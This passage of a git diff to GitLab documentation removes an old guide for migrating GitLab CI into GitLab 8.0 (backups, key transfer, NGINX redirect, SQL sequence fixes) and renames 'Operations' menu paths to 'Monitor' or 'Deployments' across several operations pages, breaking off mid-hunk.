-# On your GitLab server:
-# Omnibus
-sudo gitlab-backup create SKIP=repositories,uploads
-
-# Source
-cd /home/git/gitlab
-sudo -u git -H bundle exec rake gitlab:backup:create RAILS_ENV=production SKIP=repositories,uploads
-```
-
-If this fails you need to fix it before upgrading to 8.0. Also see
-<https://about.gitlab.com/get-help/>
-
-NOTE:
-For GitLab 12.1 and earlier, use `gitlab-rake gitlab:backup:create`.
-
-### 2. Check source and target database types
-
-Check what databases you use on your GitLab server and your CI server.
- Look for the 'adapter:' line. If your CI server and your GitLab server use
-the same database adapter no special care is needed. If your CI server uses
-MySQL and your GitLab server uses PostgreSQL you need to pass a special option
-during the 'Moving data' part. **If your CI server uses PostgreSQL and your
-GitLab server uses MySQL you cannot migrate your CI data to GitLab 8.0.**
-
-```shell
-# On your CI server:
-# Omnibus
-sudo gitlab-ci-rake env:info
-
-# Source
-cd /home/gitlab_ci/gitlab-ci
-sudo -u gitlab_ci -H bundle exec rake env:info RAILS_ENV=production
-```
-
-```shell
-# On your GitLab server:
-# Omnibus
-sudo gitlab-rake gitlab:env:info
-
-# Source
-cd /home/git/gitlab
-sudo -u git -H bundle exec rake gitlab:env:info RAILS_ENV=production
-```
-
-### 3. Storage planning
-
-Decide where to store CI build traces on GitLab server. GitLab CI uses
- files on disk to store CI build traces. The default path for these build
-traces is `/var/opt/gitlab/gitlab-ci/builds` (Omnibus) or
-`/home/git/gitlab/builds` (Source). If you are storing your repository data in
-a special location, or if you are using NFS, you should make sure that you
-store build traces on the same storage as your Git repositories.
-
-## I. Upgrading
-
-From this point on, GitLab CI is unavailable for your end users.
-
-### 1. Upgrade GitLab to 8.0
-
-First upgrade your GitLab server to version 8.0:
-<https://about.gitlab.com/update/>
-
-### 2. Disable CI on the GitLab server during the migration
-
-After you update, go to the admin panel and temporarily disable CI. As
- an administrator, go to **Admin Area** -> **Settings**, and under
-**Continuous Integration** uncheck **Disable to prevent CI usage until `rake
-ci:migrate` is run (8.0 only)**.
-
-### 3. CI settings are now in GitLab
-
-If you want to use custom CI settings (e.g. change where builds are
- stored), please update `/etc/gitlab/gitlab.rb` (Omnibus) or
-`/home/git/gitlab/config/gitlab.yml` (Source).
-
-### 4. Upgrade GitLab CI to 8.0
-
-Now upgrade GitLab CI to version 8.0. If you are using Omnibus packages,
- this may have already happened when you upgraded GitLab to 8.0.
-
-### 5. Disable GitLab CI on the CI server
-
-Disable GitLab CI after upgrading to 8.0.
-
-```shell
-# On your CI server:
-# Omnibus
-sudo gitlab-ctl stop ci-unicorn
-sudo gitlab-ctl stop ci-sidekiq
-
-# Source
-sudo service gitlab_ci stop
-cd /home/gitlab_ci/gitlab-ci
-sudo -u gitlab_ci -H bundle exec whenever --clear-crontab RAILS_ENV=production
-```
-
-## II. Moving data
-
-### 1. Database encryption key
-
-Move the database encryption key from your CI server to your GitLab
- server. The command below shows you what you need to copy-paste to your
-GitLab server. On Omnibus GitLab servers you must add a line to
-`/etc/gitlab/gitlab.rb`. On GitLab servers installed from source you must
-replace the contents of `/home/git/gitlab/config/secrets.yml`.
-
-```shell
-# On your CI server:
-# Omnibus
-sudo gitlab-ci-rake backup:show_secrets
-
-# Source
-cd /home/gitlab_ci/gitlab-ci
-sudo -u gitlab_ci -H bundle exec rake backup:show_secrets RAILS_ENV=production
-```
-
-### 2. SQL data and build traces
-
-Create your final CI data export. If you are converting from MySQL to
-PostgreSQL, add `MYSQL_TO_POSTGRESQL=1` to the end of the Rake command. When
-the command finishes it prints the path to your data export archive; you
-need this file later.
-
-```shell
-# On your CI server:
-# Omnibus
-sudo chown gitlab-ci:gitlab-ci /var/opt/gitlab/gitlab-ci/builds
-sudo gitlab-ci-rake backup:create
-
-# Source
-cd /home/gitlab_ci/gitlab-ci
-sudo -u gitlab_ci -H bundle exec rake backup:create RAILS_ENV=production
-```
-
-### 3. Copy data to the GitLab server
-
-If you were running GitLab and GitLab CI on the same server you can skip this
-step.
-
-Copy your CI data archive to your GitLab server. There are many ways to do
-this, below we use SSH agent forwarding and `scp`, which is easy and fast
-for most setups. You can also copy the data archive first from the CI server to
-your laptop and then from your laptop to the GitLab server.
-
-```shell
-# Start from your laptop
-ssh -A ci_admin@ci_server.example
-# Now on the CI server
-scp /path/to/12345_gitlab_ci_backup.tar gitlab_admin@gitlab_server.example:~
-```
-
-### 4. Move data to the GitLab backups folder
-
-Make the CI data archive discoverable for GitLab. We assume below that you
-store backups in the default path, adjust the command if necessary.
-
-```shell
-# On your GitLab server:
-# Omnibus
-sudo mv /path/to/12345_gitlab_ci_backup.tar /var/opt/gitlab/backups/
-
-# Source
-sudo mv /path/to/12345_gitlab_ci_backup.tar /home/git/gitlab/tmp/backups/
-```
-
-### 5. Import the CI data into GitLab
-
-This step deletes any existing CI data on your GitLab server. There should
-be no CI data yet because you turned CI on the GitLab server off earlier.
-
-```shell
-# On your GitLab server:
-# Omnibus
-sudo chown git:git /var/opt/gitlab/gitlab-ci/builds
-sudo gitlab-rake ci:migrate
-
-# Source
-cd /home/git/gitlab
-sudo -u git -H bundle exec rake ci:migrate RAILS_ENV=production
-```
-
-### 6. Restart GitLab
-
-```shell
-# On your GitLab server:
-# Omnibus
-sudo gitlab-ctl hup unicorn
-sudo gitlab-ctl restart sidekiq
-
-# Source
-sudo service gitlab reload
-```
-
-## III. Redirecting traffic
-
-If you were running GitLab CI with Omnibus packages and you were using the
-internal NGINX configuration your CI service should now be available both at
-`ci.example.com` (the old address) and `gitlab.example.com/ci`. **You are done!**
-
-If you installed GitLab CI from source we now need to configure a redirect in
-NGINX so that existing CI runners can keep using the old CI server address, and
-so that existing links to your CI server keep working.
-
-### 1. Update NGINX configuration
-
-To ensure that your existing CI runners are able to communicate with the
-migrated installation, and that existing build triggers still work, you must
-update your NGINX configuration to redirect requests for the old locations to
-the new ones.
-
-Edit `/etc/nginx/sites-available/gitlab_ci` and paste:
-
-```nginx
-# GITLAB CI
-server {
- listen 80 default_server; # e.g., listen 192.168.1.1:80;
- server_name YOUR_CI_SERVER_FQDN; # e.g., server_name source.example.com;
-
- access_log /var/log/nginx/gitlab_ci_access.log;
- error_log /var/log/nginx/gitlab_ci_error.log;
-
- # expose API to fix runners
- location /api {
- proxy_read_timeout 300;
- proxy_connect_timeout 300;
- proxy_redirect off;
- proxy_set_header X-Real-IP $remote_addr;
-
- # You need to specify your DNS servers that are able to resolve YOUR_GITLAB_SERVER_FQDN
- resolver 8.8.8.8 8.8.4.4;
- proxy_pass $scheme://YOUR_GITLAB_SERVER_FQDN/ci$request_uri;
- }
-
- # redirect all other CI requests
- location / {
- return 301 $scheme://YOUR_GITLAB_SERVER_FQDN/ci$request_uri;
- }
-
- # adjust this to match the largest build log your runners might submit,
- # set to 0 to disable limit
- client_max_body_size 10m;
-}
-```
-
-Make sure you substitute these placeholder values with your real ones:
-
-1. `YOUR_CI_SERVER_FQDN`: The existing public-facing address of your GitLab CI
- install (e.g., `ci.gitlab.com`).
-1. `YOUR_GITLAB_SERVER_FQDN`: The current public-facing address of your GitLab
- CE (or EE) install (e.g., `gitlab.com`).
-
-**Make sure not to remove the `/ci$request_uri` part. This is required to
-properly forward the requests.**
-
-You should also make sure that you can:
-
-1. `curl "https://YOUR_GITLAB_SERVER_FQDN/"` from your previous GitLab CI server.
-1. `curl "https://YOUR_CI_SERVER_FQDN/"` from your GitLab CE (or EE) server.
-
-### 2. Check NGINX configuration
-
-```shell
-sudo nginx -t
-```
-
-### 3. Restart NGINX
-
-```shell
-sudo /etc/init.d/nginx restart
-```
-
-### Restore from backup
-
-If something went wrong and you need to restore a backup, consult the [Backup
-restoration](../raketasks/backup_restore.md) guide.
-
-## Troubleshooting
-
-### show:secrets problem (Omnibus-only)
-
-If you see errors like this:
-
-```plaintext
-Missing `secret_key_base` or `db_key_base` for 'production' environment. The secrets will be generated and stored in `config/secrets.yml`
-rake aborted!
-Errno::EACCES: Permission denied @ rb_sysopen - config/secrets.yml
-```
-
-This can happen if you are updating from versions prior to 7.13 straight to 8.0.
-The fix for this is to update to Omnibus 7.14 first and then update it to 8.0.
-
-### Permission denied when accessing `/var/opt/gitlab/gitlab-ci/builds`
-
-To fix that issue you have to change builds/ folder permission before doing final backup:
-
-```shell
-sudo chown -R gitlab-ci:gitlab-ci /var/opt/gitlab/gitlab-ci/builds
-```
-
-Then before executing `ci:migrate` you need to fix builds folder permission:
-
-```shell
-sudo chown git:git /var/opt/gitlab/gitlab-ci/builds
-```
-
-### Problems when importing CI database to GitLab
-
-If you were migrating CI database from MySQL to PostgreSQL manually you can see errors during import about missing sequences:
-
-```sql
-ALTER SEQUENCE
-ERROR: relation "ci_builds_id_seq" does not exist
-ERROR: relation "ci_commits_id_seq" does not exist
-ERROR: relation "ci_events_id_seq" does not exist
-ERROR: relation "ci_jobs_id_seq" does not exist
-ERROR: relation "ci_projects_id_seq" does not exist
-ERROR: relation "ci_runner_projects_id_seq" does not exist
-ERROR: relation "ci_runners_id_seq" does not exist
-ERROR: relation "ci_services_id_seq" does not exist
-ERROR: relation "ci_taggings_id_seq" does not exist
-ERROR: relation "ci_tags_id_seq" does not exist
-CREATE TABLE
-```
-
-To fix that you need to apply this SQL statement before doing final backup:
-
-Omnibus GitLab installations:
-
-```sql
-gitlab-ci-rails dbconsole <<EOF
--- ALTER TABLES - DROP DEFAULTS
-ALTER TABLE ONLY ci_application_settings ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_builds ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_commits ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_events ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_jobs ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_projects ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_runner_projects ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_runners ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_services ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_taggings ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_tags ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_trigger_requests ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_triggers ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_variables ALTER COLUMN id DROP DEFAULT;
-ALTER TABLE ONLY ci_web_hooks ALTER COLUMN id DROP DEFAULT;
-
--- ALTER SEQUENCES
-ALTER SEQUENCE ci_application_settings_id_seq OWNED BY ci_application_settings.id;
-ALTER SEQUENCE ci_builds_id_seq OWNED BY ci_builds.id;
-ALTER SEQUENCE ci_commits_id_seq OWNED BY ci_commits.id;
-ALTER SEQUENCE ci_events_id_seq OWNED BY ci_events.id;
-ALTER SEQUENCE ci_jobs_id_seq OWNED BY ci_jobs.id;
-ALTER SEQUENCE ci_projects_id_seq OWNED BY ci_projects.id;
-ALTER SEQUENCE ci_runner_projects_id_seq OWNED BY ci_runner_projects.id;
-ALTER SEQUENCE ci_runners_id_seq OWNED BY ci_runners.id;
-ALTER SEQUENCE ci_services_id_seq OWNED BY ci_services.id;
-ALTER SEQUENCE ci_taggings_id_seq OWNED BY ci_taggings.id;
-ALTER SEQUENCE ci_tags_id_seq OWNED BY ci_tags.id;
-ALTER SEQUENCE ci_trigger_requests_id_seq OWNED BY ci_trigger_requests.id;
-ALTER SEQUENCE ci_triggers_id_seq OWNED BY ci_triggers.id;
-ALTER SEQUENCE ci_variables_id_seq OWNED BY ci_variables.id;
-ALTER SEQUENCE ci_web_hooks_id_seq OWNED BY ci_web_hooks.id;
-
--- ALTER TABLES - RE-APPLY DEFAULTS
-ALTER TABLE ONLY ci_application_settings ALTER COLUMN id SET DEFAULT nextval('ci_application_settings_id_seq'::regclass);
-ALTER TABLE ONLY ci_builds ALTER COLUMN id SET DEFAULT nextval('ci_builds_id_seq'::regclass);
-ALTER TABLE ONLY ci_commits ALTER COLUMN id SET DEFAULT nextval('ci_commits_id_seq'::regclass);
-ALTER TABLE ONLY ci_events ALTER COLUMN id SET DEFAULT nextval('ci_events_id_seq'::regclass);
-ALTER TABLE ONLY ci_jobs ALTER COLUMN id SET DEFAULT nextval('ci_jobs_id_seq'::regclass);
-ALTER TABLE ONLY ci_projects ALTER COLUMN id SET DEFAULT nextval('ci_projects_id_seq'::regclass);
-ALTER TABLE ONLY ci_runner_projects ALTER COLUMN id SET DEFAULT nextval('ci_runner_projects_id_seq'::regclass);
-ALTER TABLE ONLY ci_runners ALTER COLUMN id SET DEFAULT nextval('ci_runners_id_seq'::regclass);
-ALTER TABLE ONLY ci_services ALTER COLUMN id SET DEFAULT nextval('ci_services_id_seq'::regclass);
-ALTER TABLE ONLY ci_taggings ALTER COLUMN id SET DEFAULT nextval('ci_taggings_id_seq'::regclass);
-ALTER TABLE ONLY ci_tags ALTER COLUMN id SET DEFAULT nextval('ci_tags_id_seq'::regclass);
-ALTER TABLE ONLY ci_trigger_requests ALTER COLUMN id SET DEFAULT nextval('ci_trigger_requests_id_seq'::regclass);
-ALTER TABLE ONLY ci_triggers ALTER COLUMN id SET DEFAULT nextval('ci_triggers_id_seq'::regclass);
-ALTER TABLE ONLY ci_variables ALTER COLUMN id SET DEFAULT nextval('ci_variables_id_seq'::regclass);
-ALTER TABLE ONLY ci_web_hooks ALTER COLUMN id SET DEFAULT nextval('ci_web_hooks_id_seq'::regclass);
-EOF
-```
-
-Source installations:
-
-```shell
-cd /home/gitlab_ci/gitlab-ci
-sudo -u gitlab_ci -H bundle exec rails dbconsole production <<EOF
-... COPY SQL STATEMENTS FROM ABOVE ...
-EOF
-```
+<!-- This redirect file can be deleted after <2021-09-14>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/operations/error_tracking.md b/doc/operations/error_tracking.md
index 78aa664b339..d4edf324caa 100644
--- a/doc/operations/error_tracking.md
+++ b/doc/operations/error_tracking.md
@@ -27,16 +27,16 @@ least Maintainer [permissions](../user/permissions.md) to enable the Sentry inte
1. [Create](https://docs.sentry.io/product/sentry-basics/guides/integrate-frontend/create-new-project/) a new Sentry project. For each GitLab project that you want to integrate, we recommend that you create a new Sentry project.
1. [Find or generate](https://docs.sentry.io/api/auth/) a Sentry auth token for your Sentry project.
Make sure to give the token at least the following scopes: `event:read` and `project:read`.
-1. In GitLab, navigate to your project's **Operations > Error Tracking** page, and
+1. In GitLab, navigate to your project's **Monitor > Error Tracking** page, and
click **Enable Error Tracking**.
-1. Navigate to your project's **Settings > Operations**. In the **Error Tracking** section,
+1. Navigate to your project's **Settings > Monitor**. In the **Error Tracking** section,
ensure the **Active** checkbox is set.
1. In the **Sentry API URL** field, enter your Sentry hostname. For example, enter `https://sentry.example.com` if this is the address at which your Sentry instance is available. For the SaaS version of Sentry, the hostname is `https://sentry.io`.
1. In the **Auth Token** field, enter the token you previously generated.
1. Click the **Connect** button to test the connection to Sentry and populate the **Project** dropdown.
1. From the **Project** dropdown, choose a Sentry project to link to your GitLab project.
1. Click **Save changes** for the changes to take effect.
-1. You can now visit **Operations > Error Tracking** in your project's sidebar to [view a list](#error-tracking-list) of Sentry errors.
+1. You can now visit **Monitor > Error Tracking** in your project's sidebar to [view a list](#error-tracking-list) of Sentry errors.
### Enabling GitLab issues links
@@ -45,7 +45,7 @@ You may also want to enable Sentry's GitLab integration by following the steps i
## Error Tracking List
Users with at least Reporter [permissions](../user/permissions.md)
-can find the Error Tracking list at **Operations > Error Tracking** in your project's sidebar.
+can find the Error Tracking list at **Monitor > Error Tracking** in your project's sidebar.
Here, you can filter errors by title or by status (one of Ignored , Resolved, or Unresolved) and sort in descending order by Frequency, First Seen, or Last Seen. By default, the error list is ordered by Last Seen and filtered to Unresolved errors.
![Error Tracking list](img/error_tracking_list_v12_6.png)
diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md
index dc0d5d77d27..4045e46de04 100644
--- a/doc/operations/feature_flags.md
+++ b/doc/operations/feature_flags.md
@@ -38,7 +38,7 @@ with GitLab, so it's up to developers to use a compatible client library and
To create and enable a feature flag:
-1. Navigate to your project's **Operations > Feature Flags**.
+1. Navigate to your project's **Deployments > Feature Flags**.
1. Click the **New feature flag** button.
1. Enter a name that starts with a letter and contains only lowercase letters, digits, underscores (`_`),
or dashes (`-`), and does not end with a dash (`-`) or underscore (`_`).
@@ -90,7 +90,7 @@ and the supported strategies are:
- [User List](#user-list)
Strategies can be added to feature flags when [creating a feature flag](#create-a-feature-flag),
-or by editing an existing feature flag after creation by navigating to **Operations > Feature Flags**
+or by editing an existing feature flag after creation by navigating to **Deployments > Feature Flags**
and clicking **{pencil}** (edit).
### All users
@@ -184,14 +184,16 @@ For example:
#### Create a user list
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13308) in GitLab 13.3.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13308) in GitLab 13.3.
+> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/322425) in GitLab 14.0.
To create a user list:
-1. In your project, navigate to **Operations > Feature Flags**.
-1. Click on **New list**.
+1. In your project, navigate to **Deployments > Feature Flags**.
+1. Select **View user lists**
+1. Select **New user list**.
1. Enter a name for the list.
-1. Click **Create**.
+1. Select **Create**.
You can view a list's User IDs by clicking the **{pencil}** (edit) button next to it.
When viewing a list, you can rename it by clicking the **Edit** button.
@@ -202,7 +204,7 @@ When viewing a list, you can rename it by clicking the **Edit** button.
To add users to a user list:
-1. In your project, navigate to **Operations > Feature Flags**.
+1. In your project, navigate to **Deployments > Feature Flags**.
1. Click on the **{pencil}** (edit) button next to the list you want to add users to.
1. Click on **Add Users**.
1. Enter the user IDs as a comma-separated list of values. For example,
@@ -215,7 +217,7 @@ To add users to a user list:
To remove users from a user list:
-1. In your project, navigate to **Operations > Feature Flags**.
+1. In your project, navigate to **Deployments > Feature Flags**.
1. Click on the **{pencil}** (edit) button next to the list you want to change.
1. Click on the **{remove}** (remove) button next to the ID you want to remove.
@@ -253,7 +255,7 @@ See [this video tutorial](https://www.youtube.com/watch?v=CAJY2IGep7Y) for help
In [GitLab 13.0 and earlier](https://gitlab.com/gitlab-org/gitlab/-/issues/8621),
to disable a feature flag for a specific environment:
-1. Navigate to your project's **Operations > Feature Flags**.
+1. Navigate to your project's **Deployments > Feature Flags**.
1. For the feature flag you want to disable, click the Pencil icon.
1. To disable the flag:
@@ -267,7 +269,7 @@ to disable a feature flag for a specific environment:
To disable a feature flag for all environments:
-1. Navigate to your project's **Operations > Feature Flags**.
+1. Navigate to your project's **Deployments > Feature Flags**.
1. For the feature flag you want to disable, slide the Status toggle to **Disabled**.
The feature flag is displayed on the **Disabled** tab.
@@ -281,7 +283,7 @@ Then prepare your application with a client library.
To get the access credentials that your application needs to communicate with GitLab:
-1. Navigate to your project's **Operations > Feature Flags**.
+1. Navigate to your project's **Deployments > Feature Flags**.
1. Click the **Configure** button to view the following:
- **API URL**: URL where the client (application) connects to get a list of feature flags.
- **Instance ID**: Unique token that authorizes the retrieval of the feature flags.
diff --git a/doc/operations/incident_management/alert_integrations.md b/doc/operations/incident_management/alert_integrations.md
index bec0653d464..b08ce8a0ad7 100644
--- a/doc/operations/incident_management/alert_integrations.md
+++ b/doc/operations/incident_management/alert_integrations.md
@@ -1,5 +1,6 @@
---
redirect_to: 'integrations.md'
+remove_date: '2021-05-03'
---
This document was moved to [another location](integrations.md).
diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md
index c49684954d9..def54d8dae2 100644
--- a/doc/operations/incident_management/alerts.md
+++ b/doc/operations/incident_management/alerts.md
@@ -11,7 +11,7 @@ Alerts are a critical entity in your incident management workflow. They represen
## Alert List
Users with at least Developer [permissions](../../user/permissions.md) can
-access the Alert list at **Operations > Alerts** in your project's
+access the Alert list at **Monitor > Alerts** in your project's
sidebar. The Alert list displays alerts sorted by start time, but
you can change the sort order by clicking the headers in the Alert list.
([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217745) in GitLab 13.1.)
@@ -95,7 +95,7 @@ instance.
To view the metrics for an alert:
1. Sign in as a user with Developer or higher [permissions](../../user/permissions.md).
-1. Navigate to **Operations > Alerts**.
+1. Navigate to **Monitor > Alerts**.
1. Select the alert you want to view.
1. Below the title of the alert, select the **Metrics** tab.
@@ -115,7 +115,7 @@ your application's performance and how to resolve any problems.
To view the logs for an alert:
1. Sign in as a user with Developer or higher [permissions](../../user/permissions.md).
-1. Navigate to **Operations > Alerts**.
+1. Navigate to **Monitor > Alerts**.
1. Select the alert you want to view.
1. Below the title of the alert, select the **Metrics** tab.
1. Select the [menu](../metrics/dashboards/index.md#chart-context-menu) of
@@ -168,7 +168,7 @@ difficult to track who is investigating and working on it. Assigning alerts ease
To assign an alert:
-1. To display the list of current alerts, navigate to **Operations > Alerts**.
+1. To display the list of current alerts, navigate to **Monitor > Alerts**.
1. Select your desired alert to display its details.
@@ -193,7 +193,7 @@ You can manually create [To-Do list items](../../user/todos.md) for yourself
from the Alert details screen, and view them later on your **To-Do List**. To
add a to-do item:
-1. To display the list of current alerts, navigate to **Operations > Alerts**.
+1. To display the list of current alerts, navigate to **Monitor > Alerts**.
1. Select your desired alert to display its **Alert Management Details View**.
1. Select the **Add a to do** button in the right sidebar:
diff --git a/doc/operations/incident_management/img/pagerduty_incidents_integration_v13_3.png b/doc/operations/incident_management/img/pagerduty_incidents_integration_v13_3.png
index 0991e963e02..08a45d001c2 100644
--- a/doc/operations/incident_management/img/pagerduty_incidents_integration_v13_3.png
+++ b/doc/operations/incident_management/img/pagerduty_incidents_integration_v13_3.png
Binary files differ
diff --git a/doc/operations/incident_management/incidents.md b/doc/operations/incident_management/incidents.md
index d09dbd2cb04..1cb10fea566 100644
--- a/doc/operations/incident_management/incidents.md
+++ b/doc/operations/incident_management/incidents.md
@@ -26,7 +26,7 @@ Incident, you have two options to do this manually.
> [Moved](https://gitlab.com/gitlab-org/monitor/health/-/issues/24) to GitLab Free in 13.3.
-- Navigate to **Operations > Incidents** and click **Create Incident**.
+- Navigate to **Monitor > Incidents** and click **Create Incident**.
- Create a new issue using the `incident` template available when creating it.
- Create a new issue and assign the `incident` label to it.
@@ -51,7 +51,7 @@ Incident, you have two options to do this manually.
With Maintainer or higher [permissions](../../user/permissions.md), you can enable
GitLab to create incident automatically whenever an alert is triggered:
-1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**.
+1. Navigate to **Settings > Monitor > Incidents** and expand **Incidents**.
1. Check the **Create an incident** checkbox.
1. To customize the incident, select an
[issue template](../../user/project/description_templates.md#create-an-issue-template).
@@ -69,8 +69,8 @@ You can set up a webhook with PagerDuty to automatically create a GitLab inciden
for each PagerDuty incident. This configuration requires you to make changes
in both PagerDuty and GitLab:
-1. Sign in as a user with Maintainer [permissions](../../user/permissions.md).
-1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**.
+1. Sign in as a user with the [Maintainer role](../../user/permissions.md).
+1. Navigate to **Settings > Monitor > Incidents** and expand **Incidents**.
1. Select the **PagerDuty integration** tab:
![PagerDuty incidents integration](img/pagerduty_incidents_integration_v13_3.png)
@@ -87,7 +87,7 @@ confirm that a GitLab incident is created from the incident.
## Incident list
For users with at least Guest [permissions](../../user/permissions.md), the
-Incident list is available at **Operations > Incidents**
+Incident list is available at **Monitor > Incidents**
in your project's sidebar. The list contains the following metrics:
![Incident List](img/incident_list_v13_5.png)
@@ -132,7 +132,7 @@ For a live example of the incident list in action, visit this
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230847) in GitLab 13.4.
Users with at least Guest [permissions](../../user/permissions.md) can view
-the Incident Details page. Navigate to **Operations > Incidents** in your project's
+the Incident Details page. Navigate to **Monitor > Incidents** in your project's
sidebar, and select an incident from the list.
When you take any of these actions on an incident, GitLab logs a system note and
@@ -204,9 +204,11 @@ un-threaded and ordered chronologically, newest to oldest:
You can enable the Service Level Agreement Countdown timer on incidents to track
the Service Level Agreements (SLAs) you hold with your customers. The timer is
automatically started when the incident is created, and shows the time
-remaining before the SLA period expires. To configure the timer:
+remaining before the SLA period expires. The timer is also dynamically updated
+every 15 minutes so you do not have to refresh the page to see the time remaining.
+To configure the timer:
-1. Navigate to **Settings > Operations**.
+1. Navigate to **Settings > Monitor**.
1. Scroll to **Incidents** and click **Expand**, then select the
**Incident settings** tab.
1. Select **Activate "time to SLA" countdown timer**.
@@ -276,7 +278,7 @@ templates.
With Maintainer or higher [permissions](../../user/permissions.md), you can enable
GitLab to close an incident automatically when a **Recovery Alert** is received:
-1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**.
+1. Navigate to **Settings > Monitor > Incidents** and expand **Incidents**.
1. Check the **Automatically close associated Incident** checkbox.
1. Click **Save changes**.
diff --git a/doc/operations/incident_management/integrations.md b/doc/operations/incident_management/integrations.md
index 07ffb92a000..d2c52123838 100644
--- a/doc/operations/incident_management/integrations.md
+++ b/doc/operations/incident_management/integrations.md
@@ -18,9 +18,9 @@ to use this endpoint.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/245331) in GitLab Free 13.5.
-With Maintainer or higher [permissions](../../user/permissions.md),
-you can view the list of configured alerts integrations by navigating to **Settings > Operations**
-in your project's sidebar menu, and expanding the **Alert integrations** section. The list displays
+With the [Maintainer role or higher](../../user/permissions.md),
+you can view the list of configured alerts integrations by navigating to **Settings > Monitor**
+in your project's sidebar menu, and expanding the **Alerts** section. The list displays
the integration name, type, and status (enabled or disabled):
![Current Integrations](img/integrations_list_v13_5.png)
@@ -38,8 +38,8 @@ receive alert payloads in JSON format. You can always
1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md)
for a project.
-1. Navigate to **Settings > Operations** in your project.
-1. Expand the **Alert integrations** section, and in the **Select integration type** dropdown menu,
+1. Navigate to **Settings > Monitor** in your project.
+1. Expand the **Alerts** section, and in the **Select integration type** dropdown menu,
select **HTTP Endpoint**.
1. Toggle the **Active** alert setting. The URL and Authorization Key for the webhook configuration
are available in the **View credentials** tab after you save the integration. You must also input
@@ -55,8 +55,8 @@ and you can [customize the payload](#customize-the-alert-payload-outside-of-gitl
1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md)
for a project.
-1. Navigate to **Settings > Operations** in your project.
-1. Expand the **Alert integrations** section.
+1. Navigate to **Settings > Monitor** in your project.
+1. Expand the **Alerts** section.
1. For each endpoint you want to create:
1. Click the **Add new integration** button.
@@ -166,8 +166,8 @@ configures an integration, you can trigger a test
alert to confirm your integration works properly.
1. Sign in as a user with Developer or greater [permissions](../../user/permissions.md).
-1. Navigate to **Settings > Operations** in your project.
-1. Click **Alert integrations** to expand the section.
+1. Navigate to **Settings > Monitor** in your project.
+1. Click **Alerts** to expand the section.
1. Click the **{settings}** settings icon on the right side of the integration in [the list](#integrations-list).
1. Select the **Send test alert** tab to open it.
1. Enter a test payload in the payload field (valid JSON is required).
@@ -219,8 +219,8 @@ active at the same time.
To enable Opsgenie integration:
-1. Sign in as a user with Maintainer or Owner [permissions](../../user/permissions.md).
-1. Navigate to **Operations > Alerts**.
+1. Sign in as a user with the [Maintainer or Owner role](../../user/permissions.md).
+1. Navigate to **Monitor > Alerts**.
1. In the **Integrations** select box, select **Opsgenie**.
1. Select the **Active** toggle.
1. In the **API URL** field, enter the base URL for your Opsgenie integration,
@@ -228,4 +228,4 @@ To enable Opsgenie integration:
1. Select **Save changes**.
After you enable the integration, navigate to the Alerts list page at
-**Operations > Alerts**, and then select **View alerts in Opsgenie**.
+**Monitor > Alerts**, and then select **View alerts in Opsgenie**.
diff --git a/doc/operations/incident_management/oncall_schedules.md b/doc/operations/incident_management/oncall_schedules.md
index 695b42f7d1a..5d312ef672f 100644
--- a/doc/operations/incident_management/oncall_schedules.md
+++ b/doc/operations/incident_management/oncall_schedules.md
@@ -28,7 +28,7 @@ Set up an on-call schedule for your team to add rotations to.
Follow these steps to create a schedule:
-1. Go to **Operations > On-call Schedules** and select **Add a schedule**.
+1. Go to **Monitor > On-call Schedules** and select **Add a schedule**.
1. In the **Add schedule** form, enter the schedule's name and description, and select a timezone.
1. Click **Add schedule**.
@@ -41,7 +41,7 @@ create [rotations](#rotations) for your schedule.
Follow these steps to update a schedule:
-1. Go to **Operations > On-call Schedules** and select the **Pencil** icon on the top right of the
+1. Go to **Monitor > On-call Schedules** and select the **Pencil** icon on the top right of the
schedule card, across from the schedule name.
1. In the **Edit schedule** form, edit the information you wish to update.
1. Click the **Edit schedule** button to save your changes.
@@ -53,7 +53,7 @@ interval (if one is set) to the corresponding times in the new time zone.
Follow these steps to delete a schedule:
-1. Go to **Operations > On-call Schedules** and select the **Trash Can** icon on the top right of the
+1. Go to **Monitor > On-call Schedules** and select the **Trash Can** icon on the top right of the
schedule card.
1. In the **Delete schedule** window, click the **Delete schedule** button.
@@ -63,7 +63,7 @@ Add rotations to an existing schedule to put your team members on-call.
Follow these steps to create a rotation:
-1. Go to **Operations > On-call Schedules** and select **Add a rotation** on the top right of the
+1. Go to **Monitor > On-call Schedules** and select **Add a rotation** on the top right of the
current schedule.
1. In the **Add rotation** form, enter the following:
@@ -80,7 +80,7 @@ Follow these steps to create a rotation:
Follow these steps to edit a rotation:
-1. Go to **Operations > On-call Schedules** and select the **Pencil** icon to the right of the title
+1. Go to **Monitor > On-call Schedules** and select the **Pencil** icon to the right of the title
of the rotation that you want to update.
1. In the **Edit rotation** form, make the changes that you want.
1. Select the **Edit rotation** button.
@@ -89,7 +89,7 @@ Follow these steps to edit a rotation:
Follow these steps to delete a rotation:
